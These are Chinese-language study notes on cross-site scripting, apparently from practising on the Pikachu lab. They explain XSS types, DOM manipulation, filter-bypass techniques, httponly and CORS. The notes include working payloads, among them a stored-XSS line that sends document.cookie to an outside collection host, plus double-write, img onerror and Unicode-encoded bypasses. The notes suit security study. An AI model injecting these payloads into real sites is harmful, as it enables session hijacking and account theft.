XSS分类
反射型:
与服务端交互,数据一般不会存在数据库中,一次性,一般出现在查询类页面等
存储型:
交互的数据存到数据库中了,一般出现在留言板,注册等页面
DOM型:
不与后台服务器产生数据交互,通过dom操作前端代码在浏览器上执行
DOM型XSS
将输入的内容加工到前端的a标签的href属性中时:因为script标签在a标签的内部不会执行,可以考虑构造一个鼠标左键点击事件
此时可以考虑用引号闭合href属性,然后再给a标签绑定一个事件
payload:#' οnclick="alert(123)"
常用 js代码
window.location.search 获取当前网址的查询参数 ?text=aaa
location.href 获取当前网址 http://192.168.31.203/pikachu/vul/xss/xss_dom_x.php?text=aaa
innerHTML 往标签中写入内容
document.getElementById("dom") 通过标签的id属性定位到标签
document.getElementById("dom").innerHTML = "<a href = "aaa">here</a>"
通过dom操作往标签中写入内容
document.cookie 获取当前页面的cookie
window.onload 事件,浏览器加载完页面所有内容后,自动触发执行
window.onload = function(){
document.getElenmentById("submit").click;
}
所有页面代码加载完毕后,找到submit按钮,并自动点击提交
利用xss漏洞盗取cookie
找到一个存储型xss,如留言板,评论,注入payload:
'"><script>document.location = "http://192.168.31.205/cookie.php?cookie=" + document.cookie;</script>
XSS绕过
1 大小写绕过
后端代码过滤掉小写的script关键字
2 双写绕过
后端采用str_ireplace函数对script标签进行了过滤替换,忽略大小写
$message = str_ireplace("<script>", "", $_GET["message"]); 将匹配到的内容替换为空
str_ireplace 函数只替换一次,可以通过双写来绕过:
'"><sc<script>ript>alert(2);</scr<script>ipt>
3 换标签绕过
当script标签被过滤后,还可以考虑换标签,如img标签
<img src="#" οnerrοr="alert(2)"/>
img标签的src属性不是正确的地址,会报错触发onerror的一个错误加载事件
4 编码绕过
php后端如果采用了htmlspecialchars这个函数,会把一些特殊字符(&,',",<,>)转换为html实体
htmlspecialchars默认对双引号和<>进行html实体编码,可以考虑使用单引号绑定事件
' onclick = 'alert(2)'
htmlspecialchars加上ENT_QUOTES参数后,对单引号也进行html实体编码
a标签的href属性值为空时,刷新页面,为#时,不刷新页面,再url后加#,还可以写js的伪协议
<a href = 'javascript:void(0)'>aaa</a> 不刷新页面
<a href = 'javascript:alert(123)'>aaa</a> 伪协议后可直接写js代码
可以通过JavaScript伪协议绕过htmlspecialchars的防御
javascript:alert('aaa') 引号作为伪协议中一个函数的内容时,不受htmlspecialchars的影响
可以对这个函数值进行js编码(unicode编码),浏览器会自动解析Unicode编码
对伪协议中的函数名进行Unicode编码,可以被解析,如对javascript:alert('aaa')中的alert编码:
javascript:\u0061\u006c\u0065\u0072\u0074('aaa'),可以被解析,对伪协议javascript:进行Unicode编码,不能被解析
document.write('js编码') 可以解析内容中的js编码,将文件写先解析再输入到html页面上b
5 XSS之JS输出
前端输入的数据被输出到后端的script标签中了,可以考虑闭合script标签
'</script><script>alert(3);</script>
6 httponly绕过
cookie的httponly:true属性,不允许js操作此cookie,即document.cookie无法再获取此cookie
php设置cookie的httponly属性(第七个位置 )
setcookie('ant[uname]', $_POST['username'], time()+3600, NULL, NULL, NULL,TRUE);
可以通过js代码获取浏览器保存的密码
同源和跨域
同源:协议,域名,端口 相同的页面之间可以互相请求数据并正常获取响应数据,浏览器的同源机制防止恶意请求网站资源
不受浏览器同源机制的影响的标签:
script标签的src属性
link标签的href属性 css
img标签的src属性
iframe标签的src属性 任意资源
a标签的href属性
php中设置允许被跨域访问:
header("Access-Control-Allow-Orign:*"); cors跨域